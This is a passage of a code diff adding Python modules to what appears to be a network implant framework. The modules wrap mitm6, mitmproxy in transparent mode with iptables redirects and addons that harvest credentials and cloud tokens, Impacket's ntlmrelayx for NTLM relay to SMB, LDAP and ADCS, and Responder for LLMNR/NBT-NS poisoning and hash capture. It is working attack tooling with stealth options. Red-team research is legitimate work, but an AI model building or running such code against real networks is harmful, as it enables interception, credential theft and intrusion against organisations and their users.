||||
)
|
||||
self._mitm6_thread.start()
|
||||
|
||||
self.state.set(self.name, "mitm6_active", "true")
|
||||
logger.info(
|
||||
"mitm6 started (pid=%d, domain=%s)",
|
||||
self._mitm6_proc.pid, self._target_domain or "all",
|
||||
)
|
||||
return True
|
||||
|
||||
except FileNotFoundError:
|
||||
logger.error("mitm6 not found at %s", self._mitm6_binary)
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("Failed to start mitm6")
|
||||
return False
|
||||
|
||||
def stop_all(self) -> bool:
|
||||
"""Stop all IPv6 SLAAC and mitm6 operations.
|
||||
|
||||
Returns:
|
||||
True if all components were stopped.
|
||||
"""
|
||||
success = True
|
||||
|
||||
# Stop SLAAC spoofing
|
||||
if self._slaac_active and self._bettercap_mgr:
|
||||
try:
|
||||
self._bettercap_mgr.run_command("dhcp6.spoof off")
|
||||
self._slaac_active = False
|
||||
self.state.set(self.name, "slaac_active", "false")
|
||||
logger.info("SLAAC spoofing disabled")
|
||||
except Exception:
|
||||
logger.exception("Failed to disable SLAAC spoofing")
|
||||
success = False
|
||||
|
||||
# Stop mitm6
|
||||
if self._mitm6_proc and self._mitm6_proc.poll() is None:
|
||||
try:
|
||||
self._mitm6_proc.terminate()
|
||||
self._mitm6_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._mitm6_proc.kill()
|
||||
try:
|
||||
self._mitm6_proc.wait(timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
logger.exception("Failed to stop mitm6")
|
||||
success = False
|
||||
self._mitm6_proc = None
|
||||
|
||||
self._mitm6_active = False
|
||||
self.state.set(self.name, "mitm6_active", "false")
|
||||
return success
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# mitm6 output monitoring
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _monitor_mitm6(self) -> None:
|
||||
"""Monitor mitm6 stderr for authentication events."""
|
||||
if not self._mitm6_proc:
|
||||
return
|
||||
|
||||
try:
|
||||
for line in iter(self._mitm6_proc.stderr.readline, b""):
|
||||
if not self._running:
|
||||
break
|
||||
decoded = line.decode("utf-8", errors="replace").strip()
|
||||
if not decoded:
|
||||
continue
|
||||
|
||||
# mitm6 logs DNS queries and WPAD requests
|
||||
if "Sent spoofed" in decoded or "IPv6 address" in decoded:
|
||||
logger.debug("mitm6: %s", decoded)
|
||||
|
||||
# Check for process exit
|
||||
if self._mitm6_proc.poll() is not None:
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
@@ -0,0 +1,352 @@
|
||||
#!/usr/bin/env python3
|
||||
"""mitmproxy Manager — transparent HTTPS interception with addon scripts.
|
||||
|
||||
Runs mitmproxy in transparent mode with iptables redirect. Custom addon
|
||||
scripts extract credentials from POST bodies, capture cloud tokens from
|
||||
auth headers, and log file metadata from transfers.
|
||||
|
||||
OPi Zero 3+ only — requires sufficient RAM (100-200MB) and CPU (10-20%).
|
||||
Check hardware tier before enabling.
|
||||
|
||||
Custom CA CN can be configured to match target PKI for stealth.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
|
||||
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
|
||||
|
||||
|
||||
class MitmproxyManager(BaseModule):
|
||||
"""mitmproxy transparent proxy with credential and token extraction.
|
||||
|
||||
OPi Zero 3+ only — check tier before enabling. On lower-tier
|
||||
hardware, use bettercap's built-in HTTP proxy instead.
|
||||
|
||||
Dependencies:
|
||||
- mitmproxy installed (pip install mitmproxy)
|
||||
- iptables for transparent redirect
|
||||
|
||||
Configuration:
|
||||
proxy_port: Listening port (default: 8080)
|
||||
addons_dir: Path to addon scripts
|
||||
ca_cn: Custom CA Common Name to match target PKI
|
||||
hardware_tier: Device tier for resource checks
|
||||
"""
|
||||
|
||||
name = "mitmproxy_mgr"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._proc: Optional[subprocess.Popen] = None
|
||||
self._monitor_thread: Optional[threading.Thread] = None
|
||||
self._proxy_port = config.get("proxy_port", 8080)
|
||||
self._proxy_active = False
|
||||
self._iface = config.get("interface", "eth0")
|
||||
self._ca_cn = config.get("ca_cn", "")
|
||||
self._hardware_tier = config.get("hardware_tier", "rpi4")
|
||||
self._addons_dir = config.get(
|
||||
"addons_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "config", "mitmproxy_addons"),
|
||||
)
|
||||
self._mitmdump_binary = config.get("mitmdump_binary", "mitmdump")
|
||||
self._flow_log = config.get(
|
||||
"flow_log",
|
||||
os.path.join(os.path.expanduser("~"), ".implant", "mitmproxy_flows"),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Tier check
|
||||
if self._hardware_tier not in SUPPORTED_TIERS:
|
||||
logger.error(
|
||||
"mitmproxy not supported on tier '%s' — requires OPi Zero 3+ or better",
|
||||
self._hardware_tier,
|
||||
)
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
Path(self._flow_log).parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("MitmproxyManager started (tier=%s, port=%d)",
|
||||
self._hardware_tier, self._proxy_port)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._proxy_active:
|
||||
self.stop_proxy()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("MitmproxyManager stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
proc_alive = self._proc is not None and self._proc.poll() is None
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"proxy_active": self._proxy_active and proc_alive,
|
||||
"proxy_pid": self._proc.pid if proc_alive else None,
|
||||
"proxy_port": self._proxy_port,
|
||||
"hardware_tier": self._hardware_tier,
|
||||
"ca_cn": self._ca_cn,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "proxy_port" in config:
|
||||
self._proxy_port = config["proxy_port"]
|
||||
if "ca_cn" in config:
|
||||
self._ca_cn = config["ca_cn"]
|
||||
if "hardware_tier" in config:
|
||||
self._hardware_tier = config["hardware_tier"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_proxy(self, port: int = None, addons: list = None) -> bool:
|
||||
"""Start mitmproxy in transparent mode with addons.
|
||||
|
||||
Args:
|
||||
port: Override proxy port.
|
||||
addons: List of addon script filenames to load from addons_dir.
|
||||
|
||||
Returns:
|
||||
True if proxy was started.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("MitmproxyManager not started")
|
||||
return False
|
||||
|
||||
if self._proxy_active and self._proc and self._proc.poll() is None:
|
||||
logger.warning("mitmproxy already running")
|
||||
return True
|
||||
|
||||
if port:
|
||||
self._proxy_port = port
|
||||
|
||||
# Build command
|
||||
cmd = [
|
||||
self._mitmdump_binary,
|
||||
"--mode", "transparent",
|
||||
"--listen-port", str(self._proxy_port),
|
||||
"--set", "connection_strategy=lazy",
|
||||
"--set", "stream_large_bodies=1m",
|
||||
"-w", self._flow_log,
|
||||
]
|
||||
|
||||
# Custom CA CN for stealth
|
||||
if self._ca_cn:
|
||||
cmd.extend(["--set", f"ssl_insecure=true"])
|
||||
|
||||
# Load addon scripts
|
||||
addon_scripts = addons or self._get_default_addons()
|
||||
for addon in addon_scripts:
|
||||
addon_path = os.path.join(self._addons_dir, addon)
|
||||
if os.path.isfile(addon_path):
|
||||
cmd.extend(["-s", addon_path])
|
||||
else:
|
||||
logger.warning("Addon script not found: %s", addon_path)
|
||||
|
||||
# Setup iptables for transparent redirect
|
||||
self._setup_iptables()
|
||||
|
||||
try:
|
||||
self._proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
time.sleep(3)
|
||||
if self._proc.poll() is not None:
|
||||
stderr = self._proc.stderr.read().decode(errors="replace")
|
||||
logger.error("mitmproxy failed to start: %s", stderr)
|
||||
self._teardown_iptables()
|
||||
return False
|
||||
|
||||
self._proxy_active = True
|
||||
|
||||
# Start output monitoring
|
||||
self._monitor_thread = threading.Thread(
|
||||
target=self._monitor_output, daemon=True, name="sensor-mitmproxy-monitor"
|
||||
)
|
||||
self._monitor_thread.start()
|
||||
|
||||
logger.info("mitmproxy started (pid=%d, port=%d)", self._proc.pid, self._proxy_port)
|
||||
return True
|
||||
|
||||
except FileNotFoundError:
|
||||
logger.error("mitmdump not found — install with: pip install mitmproxy")
|
||||
self._teardown_iptables()
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("Failed to start mitmproxy")
|
||||
self._teardown_iptables()
|
||||
return False
|
||||
|
||||
def stop_proxy(self) -> bool:
|
||||
"""Stop mitmproxy and remove iptables rules.
|
||||
|
||||
Returns:
|
||||
True if proxy was stopped.
|
||||
"""
|
||||
# Stop process
|
||||
if self._proc and self._proc.poll() is None:
|
||||
try:
|
||||
self._proc.terminate()
|
||||
self._proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._proc.kill()
|
||||
try:
|
||||
self._proc.wait(timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
logger.exception("Failed to stop mitmproxy")
|
||||
finally:
|
||||
self._proc = None
|
||||
|
||||
# Remove iptables rules
|
||||
self._teardown_iptables()
|
||||
|
||||
self._proxy_active = False
|
||||
logger.info("mitmproxy stopped")
|
||||
return True
|
||||
|
||||
def get_flows(self) -> str:
|
||||
"""Return path to the mitmproxy flow log file.
|
||||
|
||||
Returns:
|
||||
Path to the binary flow dump file.
|
||||
"""
|
||||
return self._flow_log
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# iptables for transparent mode
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_iptables(self) -> None:
|
||||
"""Configure iptables to redirect HTTP/HTTPS to mitmproxy."""
|
||||
rules = [
|
||||
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
|
||||
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||
"--to-port", str(self._proxy_port)],
|
||||
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
|
||||
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||
"--to-port", str(self._proxy_port)],
|
||||
]
|
||||
for rule in rules:
|
||||
try:
|
||||
subprocess.run(rule, capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
|
||||
|
||||
def _teardown_iptables(self) -> None:
|
||||
"""Remove transparent proxy iptables rules."""
|
||||
rules = [
|
||||
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
|
||||
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||
"--to-port", str(self._proxy_port)],
|
||||
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
|
||||
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||
"--to-port", str(self._proxy_port)],
|
||||
]
|
||||
for rule in rules:
|
||||
try:
|
||||
subprocess.run(rule, capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Addon management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_default_addons(self) -> list:
|
||||
"""Return list of default addon script filenames."""
|
||||
defaults = [
|
||||
"credential_extractor.py",
|
||||
"cloud_token_capture.py",
|
||||
"file_metadata_logger.py",
|
||||
]
|
||||
return [a for a in defaults if os.path.isfile(os.path.join(self._addons_dir, a))]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Output monitoring
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _monitor_output(self) -> None:
|
||||
"""Monitor mitmproxy stderr for credential and token events."""
|
||||
if not self._proc:
|
||||
return
|
||||
|
||||
try:
|
||||
for line in iter(self._proc.stderr.readline, b""):
|
||||
if not self._running:
|
||||
break
|
||||
decoded = line.decode("utf-8", errors="replace").strip()
|
||||
if not decoded:
|
||||
continue
|
||||
|
||||
# Look for credential extraction events from addons
|
||||
if "[credential]" in decoded.lower():
|
||||
self._handle_credential_output(decoded)
|
||||
elif "[cloud_token]" in decoded.lower():
|
||||
self._handle_token_output(decoded)
|
||||
|
||||
if self._proc.poll() is not None:
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _handle_credential_output(self, line: str) -> None:
|
||||
"""Parse credential event from addon output."""
|
||||
self.bus.emit(
|
||||
"CREDENTIAL_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"target_service": "mitmproxy",
|
||||
"credential_type": "cleartext",
|
||||
"credential_value": line,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
|
||||
def _handle_token_output(self, line: str) -> None:
|
||||
"""Parse cloud token event from addon output."""
|
||||
self.bus.emit(
|
||||
"CLOUD_TOKEN_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"target_service": "mitmproxy",
|
||||
"token_data": line,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
@@ -0,0 +1,377 @@
|
||||
#!/usr/bin/env python3
|
||||
"""NTLM Relay module — ntlmrelayx subprocess wrapper.
|
||||
|
||||
Manages Impacket's ntlmrelayx for relaying captured NTLM authentication
|
||||
to target services. Supports relay to SMB, LDAP, LDAPS, HTTP, MSSQL,
|
||||
and ADCS endpoints. Coordinates with ResponderManager to exclude relay
|
||||
targets from Responder's SMB authentication.
|
||||
|
||||
Resources: ~40MB RAM, ~5% CPU
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Supported relay protocols
|
||||
RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
|
||||
|
||||
|
||||
class NTLMRelay(BaseModule):
|
||||
"""ntlmrelayx subprocess manager.
|
||||
|
||||
Relays captured NTLM authentication to target services. Works
|
||||
in coordination with ResponderManager — targets being relayed
|
||||
should be excluded from Responder's SMB server to avoid consuming
|
||||
the authentication attempt locally.
|
||||
|
||||
Dependencies:
|
||||
- Impacket installed (/opt/tools/impacket or pip install impacket)
|
||||
- responder_mgr (optional, for coordination)
|
||||
|
||||
Configuration:
|
||||
ntlmrelayx_binary: Path to ntlmrelayx.py
|
||||
targets: List of relay target URLs (e.g., smb://192.168.1.10)
|
||||
protocols: Set of relay protocols to use
|
||||
adcs_template: ADCS certificate template for ESC attacks
|
||||
"""
|
||||
|
||||
name = "ntlm_relay"
|
||||
module_type = "active"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
|
||||
OUTPUT_POLL_INTERVAL = 5
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._proc: Optional[subprocess.Popen] = None
|
||||
self._output_thread: Optional[threading.Thread] = None
|
||||
self._ntlmrelayx_binary = config.get(
|
||||
"ntlmrelayx_binary", "/opt/tools/impacket/examples/ntlmrelayx.py"
|
||||
)
|
||||
self._iface = config.get("interface", "eth0")
|
||||
self._targets: list = []
|
||||
self._protocols: set = set()
|
||||
self._adcs_template: Optional[str] = None
|
||||
self._relay_active = False
|
||||
self._successful_relays: list = []
|
||||
self._relays_lock = threading.Lock()
|
||||
self._responder_mgr = None
|
||||
self._target_file = os.path.join(
|
||||
os.path.expanduser("~"), ".implant", "relay_targets.txt"
|
||||
)
|
||||
self._loot_dir = os.path.join(
|
||||
os.path.expanduser("~"), ".implant", "ntlmrelay_loot"
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Optional responder_mgr for coordination
|
||||
self._responder_mgr = self.config.get("responder_mgr")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
os.makedirs(os.path.dirname(self._target_file), exist_ok=True)
|
||||
os.makedirs(self._loot_dir, exist_ok=True)
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("NTLMRelay module started (ready for relay commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._relay_active:
|
||||
self.stop_relay()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("NTLMRelay module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
proc_alive = self._proc is not None and self._proc.poll() is None
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"relay_active": self._relay_active and proc_alive,
|
||||
"relay_pid": self._proc.pid if proc_alive else None,
|
||||
"targets": self._targets,
|
||||
"protocols": list(self._protocols),
|
||||
"adcs_template": self._adcs_template,
|
||||
"successful_relays": len(self._successful_relays),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "ntlmrelayx_binary" in config:
|
||||
self._ntlmrelayx_binary = config["ntlmrelayx_binary"]
|
||||
if "adcs_template" in config:
|
||||
self._adcs_template = config["adcs_template"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_relay(self, targets: list, protocols: set = None) -> bool:
|
||||
"""Start ntlmrelayx with specified targets and protocols.
|
||||
|
||||
Args:
|
||||
targets: List of relay target URLs.
|
||||
Format: "protocol://ip" (e.g., "smb://192.168.1.10")
|
||||
Or plain IPs for default SMB relay.
|
||||
protocols: Set of protocols to relay to. If None, inferred from targets.
|
||||
|
||||
Returns:
|
||||
True if ntlmrelayx was started.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("NTLMRelay not started")
|
||||
return False
|
||||
|
||||
if self._relay_active and self._proc and self._proc.poll() is None:
|
||||
logger.warning("ntlmrelayx already running")
|
||||
return True
|
||||
|
||||
self._targets = list(targets)
|
||||
self._protocols = protocols or self._infer_protocols(targets)
|
||||
|
||||
# Write target file
|
||||
self._write_target_file()
|
||||
|
||||
# Coordinate with Responder — exclude relay target IPs from SMB auth
|
||||
self._update_responder_exclusions()
|
||||
|
||||
# Build command
|
||||
cmd = self._build_command()
|
||||
|
||||
try:
|
||||
self._proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
cwd=self._loot_dir,
|
||||
)
|
||||
time.sleep(2)
|
||||
if self._proc.poll() is not None:
|
||||
stderr = self._proc.stderr.read().decode(errors="replace")
|
||||
logger.error("ntlmrelayx failed to start: %s", stderr)
|
||||
return False
|
||||
|
||||
self._relay_active = True
|
||||
|
||||
# Start output monitoring
|
||||
self._output_thread = threading.Thread(
|
||||
target=self._monitor_output, daemon=True, name="sensor-ntlmrelay-monitor"
|
||||
)
|
||||
self._output_thread.start()
|
||||
|
||||
logger.info(
|
||||
"ntlmrelayx started (pid=%d, targets=%d, protocols=%s)",
|
||||
self._proc.pid, len(self._targets), self._protocols,
|
||||
)
|
||||
return True
|
||||
|
||||
except FileNotFoundError:
|
||||
logger.error("ntlmrelayx.py not found at %s", self._ntlmrelayx_binary)
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("Failed to start ntlmrelayx")
|
||||
return False
|
||||
|
||||
def stop_relay(self) -> bool:
|
||||
"""Stop ntlmrelayx.
|
||||
|
||||
Returns:
|
||||
True if relay was stopped.
|
||||
"""
|
||||
if self._proc and self._proc.poll() is None:
|
||||
try:
|
||||
self._proc.terminate()
|
||||
self._proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._proc.kill()
|
||||
try:
|
||||
self._proc.wait(timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
logger.exception("Failed to stop ntlmrelayx")
|
||||
return False
|
||||
finally:
|
||||
self._proc = None
|
||||
|
||||
self._relay_active = False
|
||||
logger.info("ntlmrelayx stopped")
|
||||
return True
|
||||
|
||||
def add_target(self, target: str) -> bool:
|
||||
"""Add a relay target while ntlmrelayx is running.
|
||||
|
||||
Args:
|
||||
target: Target URL (e.g., "smb://192.168.1.50").
|
||||
|
||||
Returns:
|
||||
True if target was added (requires restart to take effect).
|
||||
"""
|
||||
if target not in self._targets:
|
||||
self._targets.append(target)
|
||||
self._write_target_file()
|
||||
self._update_responder_exclusions()
|
||||
logger.info("Added relay target: %s (restart relay to apply)", target)
|
||||
return True
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _build_command(self) -> list:
|
||||
"""Build the ntlmrelayx command line."""
|
||||
cmd = [
|
||||
"python3", self._ntlmrelayx_binary,
|
||||
"-tf", self._target_file,
|
||||
"-of", os.path.join(self._loot_dir, "hashes"),
|
||||
"-smb2support",
|
||||
]
|
||||
|
||||
# ADCS relay
|
||||
if self._adcs_template and "adcs" in self._protocols:
|
||||
cmd.extend(["--adcs", "--template", self._adcs_template])
|
||||
|
||||
# LDAP relay options
|
||||
if "ldap" in self._protocols or "ldaps" in self._protocols:
|
||||
cmd.append("--delegate-access")
|
||||
|
||||
# SOCKS proxy for interactive sessions
|
||||
cmd.append("-socks")
|
||||
|
||||
return cmd
|
||||
|
||||
def _write_target_file(self) -> None:
|
||||
"""Write relay targets to file for ntlmrelayx -tf."""
|
||||
try:
|
||||
with open(self._target_file, "w") as f:
|
||||
for target in self._targets:
|
||||
f.write(f"{target}\n")
|
||||
except Exception:
|
||||
logger.exception("Failed to write target file")
|
||||
|
||||
def _infer_protocols(self, targets: list) -> set:
|
||||
"""Infer relay protocols from target URLs."""
|
||||
protocols = set()
|
||||
for target in targets:
|
||||
if "://" in target:
|
||||
proto = target.split("://")[0].lower()
|
||||
if proto in RELAY_PROTOCOLS:
|
||||
protocols.add(proto)
|
||||
else:
|
||||
protocols.add("smb") # Default to SMB
|
||||
return protocols or {"smb"}
|
||||
|
||||
def _update_responder_exclusions(self) -> None:
|
||||
"""Update ResponderManager with IPs to exclude from SMB auth."""
|
||||
if not self._responder_mgr:
|
||||
return
|
||||
|
||||
# Extract IPs from target URLs
|
||||
ips = set()
|
||||
for target in self._targets:
|
||||
if "://" in target:
|
||||
ip_part = target.split("://")[1].split(":")[0].split("/")[0]
|
||||
else:
|
||||
ip_part = target.split(":")[0].split("/")[0]
|
||||
ips.add(ip_part)
|
||||
|
||||
try:
|
||||
self._responder_mgr.set_relay_targets(ips)
|
||||
logger.info("Updated Responder relay exclusions: %s", ips)
|
||||
except Exception:
|
||||
logger.exception("Failed to update Responder exclusions")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Output monitoring
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _monitor_output(self) -> None:
|
||||
"""Monitor ntlmrelayx output for successful relays and loot."""
|
||||
if not self._proc:
|
||||
return
|
||||
|
||||
try:
|
||||
for line in iter(self._proc.stdout.readline, b""):
|
||||
if not self._running:
|
||||
break
|
||||
decoded = line.decode("utf-8", errors="replace").strip()
|
||||
if not decoded:
|
||||
continue
|
||||
|
||||
self._parse_relay_output(decoded)
|
||||
|
||||
if self._proc.poll() is not None:
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _parse_relay_output(self, line: str) -> None:
|
||||
"""Parse ntlmrelayx output for successful relay events."""
|
||||
# Successful SMB relay
|
||||
if "authenticated successfully" in line.lower():
|
||||
relay_info = {
|
||||
"timestamp": time.time(),
|
||||
"type": "auth_success",
|
||||
"detail": line,
|
||||
}
|
||||
with self._relays_lock:
|
||||
self._successful_relays.append(relay_info)
|
||||
self.bus.emit(
|
||||
"CREDENTIAL_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"target_service": "ntlm_relay",
|
||||
"credential_type": "relay_success",
|
||||
"credential_value": line,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
logger.info("Successful NTLM relay: %s", line)
|
||||
|
||||
# Secretsdump from relay
|
||||
elif "dumping" in line.lower() and "sam" in line.lower():
|
||||
logger.info("ntlmrelayx SAM dump: %s", line)
|
||||
|
||||
# ADCS certificate obtained
|
||||
elif "certificate" in line.lower() and ("saved" in line.lower() or "base64" in line.lower()):
|
||||
self.bus.emit(
|
||||
"CREDENTIAL_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"target_service": "adcs_relay",
|
||||
"credential_type": "certificate",
|
||||
"credential_value": line,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
logger.info("ADCS certificate obtained via relay: %s", line)
|
||||
|
||||
# SOCKS proxy opened
|
||||
elif "socks" in line.lower() and "connection" in line.lower():
|
||||
logger.info("ntlmrelayx SOCKS: %s", line)
|
||||
@@ -0,0 +1,426 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.
|
||||
|
||||
Manages Responder as a supervised subprocess. Generates Responder.conf
|
||||
from a Jinja2 template, monitors log output for captured NTLMv1/v2
|
||||
hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
|
||||
ntlm_relay to exclude relay targets from Responder's SMB server.
|
||||
|
||||
Resources: ~30MB RAM, ~3% CPU
|
||||
"""
|
||||
|
||||
import glob
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Regex for Responder hash log filenames
|
||||
HASH_FILE_PATTERN = re.compile(
|
||||
r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
|
||||
)
|
||||
|
||||
# Regex for parsing NTLMv2 hash lines
|
||||
NTLMV2_REGEX = re.compile(
|
||||
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<challenge>[0-9a-fA-F]+):"
|
||||
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)$"
|
||||
)
|
||||
|
||||
NTLMV1_REGEX = re.compile(
|
||||
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<lm>[0-9a-fA-F]+):"
|
||||
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)$"
|
||||
)
|
||||
|
||||
|
||||
class ResponderManager(BaseModule):
|
||||
"""Responder subprocess manager with hash capture monitoring.
|
||||
|
||||
Dependencies:
|
||||
- Responder installed at /opt/tools/Responder
|
||||
|
||||
Configuration:
|
||||
responder_path: Path to Responder directory
|
||||
interface: Network interface
|
||||
protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
|
||||
relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
|
||||
"""
|
||||
|
||||
name = "responder_mgr"
|
||||
module_type = "active"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
|
||||
HASH_POLL_INTERVAL = 10 # seconds
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._proc: Optional[subprocess.Popen] = None
|
||||
self._hash_thread: Optional[threading.Thread] = None
|
||||
self._responder_path = config.get("responder_path", "/opt/tools/Responder")
|
||||
self._iface = config.get("interface", "eth0")
|
||||
self._log_dir = os.path.join(self._responder_path, "logs")
|
||||
self._captured_hashes: list = []
|
||||
self._hashes_lock = threading.Lock()
|
||||
self._seen_hashes: set = set() # Dedup set
|
||||
self._relay_targets: set = set() # IPs excluded from SMB for relay
|
||||
self._protocols = {
|
||||
"LLMNR": True,
|
||||
"NBT-NS": True,
|
||||
"mDNS": True,
|
||||
"HTTP": True,
|
||||
"SMB": True,
|
||||
"WPAD": True,
|
||||
"FTP": False,
|
||||
"POP": False,
|
||||
"IMAP": False,
|
||||
"SMTP": False,
|
||||
"LDAP": False,
|
||||
}
|
||||
self._template_dir = config.get(
|
||||
"template_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
if not os.path.isdir(self._responder_path):
|
||||
logger.error("Responder not found at %s", self._responder_path)
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
